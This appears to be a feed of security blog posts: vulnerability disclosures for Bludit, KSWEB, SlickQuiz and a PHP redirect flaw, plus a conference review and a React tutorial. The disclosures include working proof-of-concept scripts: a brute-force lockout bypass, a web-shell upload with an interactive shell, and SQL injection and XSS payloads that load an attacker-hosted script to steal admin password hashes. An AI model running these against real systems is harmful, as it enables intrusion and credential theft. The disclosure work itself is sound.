另外,從演練的結果可以發現下表項次 1 及項次 2 的機率都被證實會發生且位於入侵核心資產的路徑上,因此衝擊及機率均應該由原本的 2 提升為 3,這導致項次 1 的風險值超過了企業原本設定的可接受風險 (27);另外,儘管在演練結果中清楚的知道項次 2 的內部差勤系統是必然可以成功入侵且間接控制核心資產的系統,其風險值仍遠低於企業會進行處理的風險,這正是我們前面所提到低估戰略價值的問題,因此我們會建議,在紅隊演練路徑上可以獲得核心資產的風險項目,都應該視為不可接受風險來進行處理

項次 資產名稱 價值 威脅 弱點 衝擊 機率 風險
1 版本更新系統 3 未經授權存取 橫向移動 3 3 27
2 內部差勤系統 1 系統入侵 無法上 patch 3 3 9

最後,引用 Shaolin 在研討會上的結語

紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下。

希望各位都能找到可以持續改善防禦策略的方法,讓企業的環境更加安全。

Bludit Brute Force Mitigation Bypass

5 October 2019 at 00:00

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

public function getUserIp()
{
  if (getenv('HTTP_X_FORWARDED_FOR')) {
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  } elseif (getenv('HTTP_CLIENT_IP')) {
    $ip = getenv('HTTP_CLIENT_IP');
  } else {
    $ip = getenv('REMOTE_ADDR');
  }
  return $ip;
}

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

{
    "minutesBlocked": 5,
    "numberFailuresAllowed": 10,
    "blackList": {
        "192.168.194.1": {
            "lastFailure": 1570286876,
            "numberFailures": 1
        },
        "10.10.10.10": {
            "lastFailure": 1570286993,
            "numberFailures": 1
        },
        "FakeIp": {
            "lastFailure": 1570287052,
            "numberFailures": 1
        }
    }
}

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Demonstration

Versions Affected

<= 3.9.2

Solution

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

CVSS v3 Vector

AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-10-05: Vulnerability found, pull request opened with fix
  • 2019-10-05: CVE requested
  • 2019-10-05: Patch merged into master branch
  • 2019-10-06: CVE-2019-17240 assigned to issue

Proof of Concept

#!/usr/bin/env python3
import re
import requests

host = 'http://192.168.194.146/bludit'
login_url = host + '/admin/login'
username = 'admin'
wordlist = []

# Generate 50 incorrect passwords
for i in range(50):
    wordlist.append('Password{i}'.format(i = i))

# Add the correct password to the end of the list
wordlist.append('adminadmin')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

KSWEB for Android Remote Code Execution

2 October 2019 at 00:00

KSWEB is an Android application used to allow an Android device to act as a web server. Bundled with this mobile application, are several management tools with one-click installers which are installed with predefined sets of credentials.

One of the tools, is a tool developed by the vendor of KSWEB themselves; which is KSWEB Web Interface. This web application allows authenticated users to update several core settings, including the configuration of the various server packages.

As can be seen in the screenshot below (which also shows a local file disclosure via the hostFile parameter), the selected file is made visible in a text editor and the changes can be saved by clicking the button in the top right corner of the editor.

When the save button is hit, a request is sent to the AJAX handler, like this:

POST /includes/ajax/handler.php HTTP/1.1
Host: localhost:8002
Connection: keep-alive
Content-Length: 1912
Authorization: Basic YWRtaW46YWRtaW4=
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: cors
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8002
Sec-Fetch-Site: same-origin
Referer: http://localhost:8002/?page=5
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

act=save_config&configFile=%2Fdata%2Fdata%2Fru.kslabs.ksweb%2Fcomponents%2Fmysql%2Fconf%2Fmy.ini&config_text=**long config file content ommitted*

As can be seen in the above request, the full path to the file being written to is found in the configFile field. As there is no whitelist of files that can be written to, and due to the write permissions of the KSWEB Web Interface application directory not being restricted, it is possible to use this to write a PHP file to the /data/data/ru.kslabs.ksweb/components/web/www/ directory, which will provide command execution.

Additionally, KSWEB supports running as root, meaning that if the user has allowed access as root, full control of the device can be gained via this vulnerability, as can be seen in the screenshot of the PoC below:

Play Store Installs

100,000+

Play Store Link

https://play.google.com/store/apps/details?id=ru.kslabs.ksweb&gl=GB

Solution

Upgrade to version 3.94 or later

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-08-27: Vulnerability found, vendor contacted
  • 2019-08-27: CVE requested
  • 2019-08-29: CVE-2019-15766 assigned for the RCE
  • 2019-08-29: Vendor responded to confirm issue will be being fixed in an update
  • 2019-09-10: CVE-2019-16198 assigned for the LFD vulnerability
  • 2019-09-21: Contact vendor to check status of patch
  • 2019-10-01: Version 3.94 released to fix vulnerabilities

Proof of Concept

import requests
import sys

from requests.auth import HTTPBasicAuth

BOLD = '\033[1m'
GREEN = '\033[92m'
FAIL = '\033[93m'
RESET = '\033[0m'

if len(sys.argv) < 2:
    print 'Usage: python {file} target_ip [username] [password]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2] if len(sys.argv) > 2 else 'admin'
password = sys.argv[3] if len(sys.argv) > 2 else 'admin'
host = sys.argv[1]

base_url = ''

def print_action (msg):
    print '{b}{g}[+]{r} {msg}'.format(b = BOLD, g = GREEN, r = RESET, msg = msg)

def print_error (msg):
    print '{b}{f}[!]{r} {msg}'.format(b = BOLD, f = FAIL, r = RESET, msg = msg)

def run_cmd (cmd, hide_output = False):
    r = requests.get('{b}/ksws.php?1={c}'.format(b = base_url, c = cmd), auth=(username, password))

    if not hide_output:
        print r.text.rstrip()

    return r.status_code == 200

print '  _  __ _______          ________ ____     _____ _          _ _ '
print ' | |/ // ____\\ \\        / /  ____|  _ \\   / ____| |        | | |'
print ' | \' /| (___  \\ \\  /\\  / /| |__  | |_) | | (___ | |__   ___| | |'
print ' |  <  \\___ \\  \\ \\/  \\/ / |  __| |  _ <   \\___ \\| \'_ \\ / _ \\ | |'
print ' | . \\ ____) |  \\  /\\  /  | |____| |_) |  ____) | | | |  __/ | |'
print ' |_|\\_\\_____/    \\/  \\/   |______|____/  |_____/|_| |_|\\___|_|_|\n'

port = 8000

print_action('Scanning for WebFace port...')
while port < 8100:
    try:
        r = requests.get('http://{h}:{p}'.format(h = host, p = port))
        if r.status_code == 401 and 'for KSWEB' in r.headers['Server']:
            print_action('Found WebFace on port {p}'.format(p = port))
            break
        else:
            port = port + 1
    except:
        port = port + 1


base_url = 'http://{h}:{p}'.format(h = host, p = port)

try:
    print_action('Testing credentials ({u}:{p})...'.format(u = username, p = password))
    r = requests.get(base_url, auth=(username, password))

    if r.status_code != 200:
        print_error('The specified credentials ({u}:{p}) were invalid'.format(u = username, p = password))
        sys.exit(1)
except:
    print_error('An error occurred connecting to the host')
    sys.exit(2)

print_action('Uploading web shell...')
r = requests.post('{b}/includes/ajax/handler.php'.format(b = base_url), auth=(username, password), data={
        'act': 'save_config',
        'configFile': '/data/data/ru.kslabs.ksweb/components/web/www/ksws.php',
        'config_text': '<?=`$_GET[1]`?>'
    })

print
run_cmd('uname -a')
run_cmd('pwd')

while True:
    cmd = raw_input('$: ')
    if cmd.lower() == 'exit':
        break
    else:
        run_cmd(cmd)

print

print_action('Cleaning up...')
if not run_cmd('rm /data/data/ru.kslabs.ksweb/components/web/www/ksws.php'):
    print_error('Failed to delete the web shell from the target')

Access Control and the PHP Header Function

1 October 2019 at 00:00

Access control issues are noted by many to be something that never seems to get a whole lot less prevalent. Why? Because there is no real way to abstract it and make it automated; unless the developer is working with a framework which contains its own user system. As a result, implementing this will near always be down to the developer, and although it is a simple task, it can be very easy to overlook small mistakes or misinterpret how something will work.

A pattern I have seen a lot of in the past, cropped up again last night when reviewing some open-source projects and felt it was worth reiterating on. That pattern, is using PHP’s header function to initiate redirects when a user is not permitted to be viewing the page.

On the face of it, this pattern sounds fine and from a functional stand point is something you’d want to do. For example, if a user is trying to access a page that they need to be logged in to view, it’d not be user friendly to simply halt execution, you’d want to redirect them to the login page instead.

The problem with this is in the assumption of what is happening in the implementation of the header function. As the name suggests, this function will literally set a HTTP header; meaning code like this is quite common place:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
  }

  if(isset($_GET['id'])) {
    $id = $_GET['id'];
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

For those not overly familiar with PHP, let’s break down lines 5-7. The $_SESSION global is an array of session variables. In a user system, this will typically be used to store the username / user ID of the currently logged in user so that it persists between loading different pages. In this case, the developer has chosen to check if the username session variable exists (to veirfy the user is logged in) and if it isn’t, redirect them back to the home page.

Again, functionally, this sounds great, except a big assumption has been made about the header function. The assumption being that it will end script execution (spoiler: it does not). Any code that proceeds a call to header will still execute, as even if one is to set the Location header in order to facilitate a redirect - it is still completely valid to set content in the body of the response too.

In the project that I found this vulnerability in, all other files that rendered markup to the screen had appropriately handled this scenario, but in this particular file (used for handling post deletions), it had not been. It’s possible this was a simple mistake, or that the author had thought maybe there is no exploitable functionality given that the page instantly redirects. If it was the latter, then it would definitely be the wrong presumption.

You’ll notice on line 11 that there is string interpolation being used to create an SQL query to be executed:

$id = $_GET['id'];
$sql = "DELETE FROM posts WHERE id = '$id'";
$result = mysqli_query($dbcon, $sql);

Although no data is output to the screen and a redirect is initiated, this does not stop us exploiting this. By injecting a call to SLEEP in the id parameter (using the payload 1' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))a)-- a), it is possible to confirm that the injection is there and that we can use a time-based attack due to the response not being sent until the entirety of the PHP file has been executed:

If you take a look at the last timestamp of the request (denoted with a >) and the first timestamp of the response (denoted by a <), you will see there is a 5 second difference - the same as the value specified in the call to SLEEP; confirming the injection can be exploited. This can be further illustrated by throwing SQLmap at it:

To fix the main vulnerability that allowed the bypass of the access control, it took simply adding a call to exit directly after the call to header as can be seen on line 7 of the patched code below:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
    exit();
  }

  if(isset($_GET['id'])) {
    $id = mysqli_real_escape_string($dbcon, $_GET['id']);
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

After applying this (even without fixing the SQL injection), the same curl request will no longer invoke the call to SLEEP as can be seen in the below output:

OWASP Global AppSec DC 2019 Review

23 September 2019 at 18:05

🙋🏽‍♂️ Hello friends! It’s been quite some time since I’ve blogged – shame on me. No excuses as I can’t say I’ve been particularly busy or engaged in anything mind-blowing. The truth is I haven’t had much to write about lately & I’m not going to deliver nonsense because then I would lose your trust. I err on the side of quality vs. quantity as I hope everyone reading this does. My quest to become a better developer is something that has been keeping me occupied lately. To that end, learning MEAN stack development is something I really want to get better at. How can I understand how to break something if I don’t know how to build it? It’s in its infancy but my goal is to build a vulnerable MEAN stack application and release it to Github for everyone to tear it apart and understand how the typical web application vulnerabilities manifest themselves in a MEAN stack application at the code level. No promises but I hope by the end of the year I could deploy the beta version. Enough updates let’s get down to the point of this post.

Having an awesome company isn’t something to take for granted. For me this means quality and diversity of work, culture, work environment and plenty things in between; but the biggest part of that is the investment the company provides you in terms of  self improvement and development. To say that I get spoiled currently is an understatement! Imagine how ecstatic I was to find an OWASP conference that was so close I wouldn’t even need a flight. I usually with puppy eyes ask my boss if it’s possible to attend, he runs it up the flag-pole and soon gives me the okay to book it. This would be my first OWASP conference & training.  The first 3 days there was an assortment of training’s followed by the last 2 day being the actual conference and a CTF. The training course that caught my eye was Seth & Ken’s Excellent Adventures in Code Review. The description read as follow

This was a tough to select since there were training on a bunch of things I was interested in including Serverless Security, API Security, Security in Single Paged App, DevOps Security, and Building a Appsec Program with OWASP. I wish I had like 5 clones and could take them all but such is life. I arrived Sunday night 9/8/2019 after a 3 hour train ride grabbed some food and made sure to get a great nights rest.

Training:

After an introduction from the instructors we were provided a USB (which proved to be safe but everyone questioned) to download the materials.  It included an OVA image of the VM we were going to utilize for the course. Essentially it was just a Ubuntu image pre-loaded with vulnerable application’s source code and ATOM IDE which is pretty slick. A giant portion of this day was determining the scope of code review and building a methodology. Having a solid methodology is uber important since given millions of lines of code to review of an unknown application, various frameworks or unfamiliar language can be a daunting task. A question I’d always ask myself is “where do I begin”. We learned how to perform an application assessment & overview. This is the first step where you profile the application beginning to understand things such as

  • Frameworks & Languages
  • 3rd Party Components
  • Techstack
  • Datastores
  • Checking Framework Documentation
  • Looking for Unit Test
  • Code Comments

Spending the time here proved most important and the most difficult. Naturally the hacker in you wants to start hunting for vulnerabilities and going down rabbit holes. Don’t Do This! Be disciplined is the only I can give you here.

Then comes information gathering

  • Mapping Route and Endpoints
    • We learning how request flow from the routing to authorization functions, processing logic through the DB and back to the user in a number of frameworks
      • Rails
      • NodeJS & Express
      • Django
      • .NET
  • Reviewing authorization decorators
  • Risk brainstorming
  • Sources and Sinks

From this you’ll have a checklist of things to review. That’ the methodology!
Using the information from above we dove into specific areas of the application (which in itself is sorta difficult to find).

  • Authorization
    • Broken Access Controls
    • Sensitive Data Exposure
    • Mass Assignment
    • Business Logic Flaw
  • Authentication
    • Broken Authentication
    • User Enumeration
    • Session Management Issues
    • Authentication Bypass
    • Brute Force Attacks
  • Auditing
    • Sensitive Data Exposure
    • Insufficient Logging & Monitoring
    • Debug Messages
    • Error Handling
    • Information Leakage
  • Injection
    • Injection
    • XXE
    • XXS
    • Redirects
    • SSRF (recently popular I wonder why)
  • Cryptography
    • Lack of Encryption
    • Improper Encryption
    • Insecure Token Generation
  • Configuration Review
    • Security Misconfigurations
    • 3rd Party Libraries, Frameworks, Dependencies

After lunch on the last day we broke off into groups, selected an open source application and followed the process from start to finish. We were hoping for some CVE’s but we didn’t come up with anything shocking. I love when you have practical sessions like this. You’d be surprised how much you learn by doing instead of just listening. All the groups presented their findings to the class at the end.

Conference:

The keynote started off with an pretty amazing guy technical Director of Security from the NSA Neal Ziring – Applying Security Engineering Principles to Complex Composite Systems
Here are some of the talks I attended:

  • A Structured Code Audit Approach to Find Flaws in Highly Audited Webapps
  • Using the OWASP Application Security Verification Standard 4.0 to Secure Your Applications
  • Securing Serverless by Breaking-in
  • Owning the Cloud through SSRF and PDF Generators
  • DevSecOps: Essential Pipeline Tooling to Enable Continuous Security
  • The As, Bs, and Four Cs of Testing Cloud-Native Applications
  • OWASP Serverless Top 10
  • Farewell, WAF – Exploiting SQL Injection from Mutation to Polymorphism

Final Thoughts:

I really enjoyed my first OWASP Application Security conference. In addition to all the technical knowledge gained I always try my best to network and interact with as many people as possible. I can see myself definitely attending again in the future. There was tons of swag being given away, t-shirts, socks, gadgets you name it. I didn’t participate in the CTF because it ran during the same hours as the conference. That was weird because some people solely did the CTF and didn’t see the talks at the conference. I wish it was more SANs like where it’s after hours but such is life.

Best Part:

The best part is literally all the slides, handouts, cheat-sheets are available online! This was so appalling to me I asked them why wasn’t it a locked resource or something password protected.  The answer was, “If you can get all the value  you need without us teaching it we’re useless” in addition we want you to go back and share the information w/ you teams and colleagues. This is the differentiator OWASP is here to protect the masses and knows we are more effective being collaborative and sharing knowledge. I think that was pretty special! So here you are – the github with all the materials, source code and lecture slides! Cheers.

The post OWASP Global AppSec DC 2019 Review appeared first on Certification Chronicles.

Creating a Conditional React Hook

13 September 2019 at 00:00

After seeing that the React team have been encouraging people to start using hooks for future development over the class based approach that has been used for stateful components previously, I decided to check them out.

My first thoughts were that the new approach is really awesome. Much less boilerplate code and the ability to share logic between different components easily - what’s not to love?

I quickly jumped in to trying to use them, and almost as quickly hit a dead end. I was trying to create a form that would:

  1. Load data from a remote server and populate a form with the result
  2. Call an API to save the data back when the user hits the save button

The first point went smoothly, but the second? Not so much. One of the rules that has to be followed when using hooks is that they all must be called in the top level of the function.

What I mean by this, is that anything that accepts a callback, such as useEffect cannot contain hook invocations. They all must appear in the main function of the hook, ensuring that the same number of hooks are invoked every time a re-render occurs.

Why is this a problem? Well, I was trying to invoke the hook when the user clicks a button, which means the first render only calls one hook (to load the remote data) but the render after the user clicks the button was then calling two hooks.

The solution to this was incredibly simple, but didn’t click straight away. That solution being - I could create a flag in my hook to indicate whether or not to actually execute the action. Doing this would ensure that the same number of hooks are called every time, but it’d only execute the action when the flag is changed to indicate it should.

Below is an example of my hook, with some implementation replaced with some mock code for the sake of keeping it simple.

import React, { useState, useEffect } from 'react'

function useApi ({ endpoint, method, body, shouldExecute }) {
  const [result, setResult] = useState(null)
  const [executing, setExecuting] = useState(false)
  const [hasError, setHasError] = useState(false)

  if (shouldExecute) {
    setExecuting(true)
  }

  const executeRequest = async () => {
    try {
      const res = await ApiExample.call(endpoint, method, body)
      setResult(res)
    } catch (error) {
      setHasError(true)
    }

    setExecuting(false)
  }

  useEffect(() => {
    if (shouldExecute) {
      executeRequest()
    }
  }, [shouldExecute])

  return { executing, hasError, result }
}

export default useApi

The purpose of this hook is to be able to specify the API endpoint, HTTP method and body and get an object back that indicates:

  • Whether the task is executing (executing)
  • Whether an error occurred making the request (hasError)
  • The result of the request, if successful (result)

If we were not to pass the shouldExecute value and use it and instead invoke executeRequest immediately inside the callback of useEffect, the HTTP request would be sent to the API pretty much instantly after the hook is invoked. Whilst this is fine for loading data, this was not sufficient for my use case of wanting to execute a request upon clicking a save button. Enter - the shouldExecute value.

By adding this extra flag, useEffect can be configured to be dependent on shouldExecute (as can be seen in the second argument to useEffect). This means that every time shouldExecute changes - the useEffect callback is invoked (you can probably see where this is now going).

Now that the useApi hook will only make the AJAX request based on the flag that we can bind a value to in its consumer, we can invoke it twice at the start of the consuming hook like this:

const ApiWrapper = () => {
  const [shouldSave, setShouldSave] = useState(false)

  const a = useApi({
    endpoint: '/load-data',
    method: 'GET',
    shouldExecute: true
  })

  const b = useApi({
    endpoint: '/save-data',
    method: 'POST',
    body: { foo: 'bar' },
    shouldExecute: shouldSave
  })

  if (shouldSave && !b.executing) {
    setShouldSave(false)
  }

  return (
    <div>
      <span>{a.result}</span>
      <button onClick={() => setShouldSave(true)}>Save</button>
    </div>
  )
}

In this example, a will hold the data that would then populate a form (in this case just dumping it into a span to keep things concise) and b will hold the result of the save operation.

On the first render of ApiWrapper, the useApi hook will be called twice and the results assigned to a and b. As you can see in the assignment of b, the shouldExecute property is bound to the value of shouldSave, which is only set to true once the user clicks the button.

There is also a check to reset the flag, if shouldSave is true. If it is true, the user has previously clicked the button, and if b.executing is false, then that would mean the task in the useApi hook is now finished and we can reset the value of shouldSave.

It’s a bit different to how one would normally approach this, but overall, it actually makes the code even more concise and easy to read, so I’d still say it’s worth adapting to this type of approach.

If you need more information on how useEffect works and the general changes that have been introduced with hooks, make sure to check out the official documentation at https://reactjs.org/docs/hooks-intro.html

H1-4420: From Quiz to Admin - Chaining Two 0-Days to Compromise An Uber Wordpress

10 September 2019 at 00:00

TL;DR

While doing recon for H1-4420, I stumbled upon a Wordpress blog that had a plugin enabled called SlickQuiz. Although the latest version 1.3.7.1 was installed and I haven’t found any publicly disclosed vulnerabilities, it still somehow sounded like a bad idea to run a plugin that hasn’t been tested with the last three major versions of Wordpress.

So I decided to go the very same route as I did already for last year’s H1-3120 which eventually brought me the MVH title: source code review. And it paid off again: This time, I’ve found two vulnerabilities named CVE-2019-12517 (Unauthenticated Stored XSS) and CVE-2019-12516 (Authenticated SQL Injection) which can be chained together to take you from being an unauthenticated Wordpress visitor to the admin credentials.

Due to the sensitivity of disclosed information I’m using an own temporarily installed Wordpress blog throughout this blog article to demonstrate the vulnerabilities and the impact.

CVE-2019-12517: Going From Unauthenticated User to Admin via Stored XSS

During the source code review, I stumbled upon multiple (obvious) stored XSS vulnerabilities when saving user scores of quizzes. Important side note: It does not matter whether “Save user scores” plugin option is disabled (default) or enabled, the pure presence of a quiz is sufficient for explotiation since this option does only disable/enable the UI elements.

The underlying issue is located in php/slickquiz-scores.php in the method generate_score_row() (lines 38-52) where the responses to quizzes are returned without encoding them first:

function generate_score_row( $score )
        {
            $scoreRow = '';

            $scoreRow .= '<tr>';
            $scoreRow .= '<td class="table_id">' . $score->id . '</td>';
            $scoreRow .= '<td class="table_name">' . $score->name . '</td>';
            $scoreRow .= '<td class="table_email">' . $score->email . '</td>';
            $scoreRow .= '<td class="table_score">' . $score->score . '</td>';
            $scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
            $scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
            $scoreRow .= '</tr>';

            return $scoreRow;
        }

Since $score->name, $score->email and $score->score are use-controllable, a simple request like the following is enough to get three XSS payloads into the SlickQuiz backend:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}

As soon as any user with access to the SlickQuiz dashboard visits the user scores, all payloads fire immediately:

So far so good. That’s already a pretty good impact, but there must be more.

CVE-2019-12516: Authenticated SQL Injections To the Rescue

The SlickQuiz plugin is also vulnerable to multiple authenticated SQL Injections almost whenever the id parameter is present in any request. For example the following requests:

/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)

all cause a 5 second delay:

The underlying issue of i.e. the /wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a) vulnerability is located in php/slickquiz-scores.php in the constructor method (line 20) where the GET parameter id is directly supplied to the method get_quiz_by_id():

$quiz = $this->get_quiz_by_id( $_GET['id'] );

Whereof the method get_quiz_by_id() is defined in php/slickquiz-model.php (lines 27-35):

function get_quiz_by_id( $id )
        {
            global $wpdb;
            $db_name = $wpdb->prefix . 'plugin_slickquiz';

            $quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );

            return $quizResult;
        }

Another obvious one.

Connecting XSS and SQLi for Takeover

Now let’s connect both vulnerabilities to get a real Wordpress takeover :-)

First of all: Let’s get the essential login details of the first Wordpress user (likely to be the admin): user’s email, login name and hashed password. I’ve built this handy SQLi payload to achieve that:

1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--

This eventually returns requested data within an <h2> tag:

With this payload and a little bit of JavaScript, it’s now possible to exploit the SQLi using a JavaScript XMLHttpRequest:

let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'

let xhr = new XMLHttpRequest();
xhr.withCredentials = true;

xhr.onreadystatechange = function() {
  if (xhr.readyState === XMLHttpRequest.DONE) {
    let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
    alert(result[1]);
  }
}

xhr.open('GET', url + payload, true);
xhr.send();

Now changing the XSS payload to:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}

Will cause the XSS to fire and alert the Wordpress credentials:

From this point on, everything’s possible, just like sending this data cross-domain via another XMLHttpRequest etc.

Thanks Uber for the nice bounty!

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

1 September 2019 at 16:00

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you:

After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.

We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!

Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1] [2] [3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?

We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.

On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!

About Pulse Secure

Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.

We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…

Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.

We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!

It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!

Vulnerabilities

We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

Affected versions

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
